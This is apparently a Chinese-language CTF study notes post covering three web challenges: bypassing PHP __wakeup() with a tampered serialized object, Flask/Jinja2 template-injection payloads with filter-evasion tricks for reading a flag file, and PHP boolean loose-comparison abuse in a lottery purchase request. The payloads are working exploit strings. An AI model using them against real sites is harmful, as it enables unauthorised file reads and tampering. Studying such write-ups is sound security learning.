PHP 反序列化绕过 __wakeup()
像下面这样一个类:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
?>
正常对象的序列化字符串:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
当成员属性数目大于实际数目时可绕过函数__wakeup()
:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Python Jinja 模板注入绕过思路
了解了 flask 的模板注入和沙箱逃逸的常规思路后,碰到了一道题需要 bypass 的题。
这是常规的文件读取方式:
{{''.class.mro[2].subclasses()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
可以用字符串拼接来绕过:
{{''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').next()}}
也可以利用 request.args,然后以 POST 或 GET 的方式传入:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}
用 cookie 传入也是可以的:
{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.cookies.d]()}}
PHP 布尔值弱类型比较
做到这样一道题,题目的网站是个买彩票的界面,赚够钱了可以去买 flag。
题目存在.git
源码泄露,找到购买彩票的代码:
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
var_dump ($numbers);
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
把用户提交的numbers
一位一位与服务器随机生成的七位数字进行比较,从第一位开始连续相同的位数越多奖金越高。
PHP 的布尔值和数字型的字符也存在弱类型比较,例如下面代码的输出结果为“yes1”:
<?php
$test = true;
if($test == '1' && $test == '5' && $test == '9')
echo 'yes1';
if($test == '0')
echo 'yes2';
?>
只要不是'0'
,比较都可以成立。
正常的购买行为 POST 的数据:
{"action":"buy","numbers":"1234567"}
截包修改成如下数据即可:
{"action":"buy","numbers":[true,true,true,true,true,true,true]}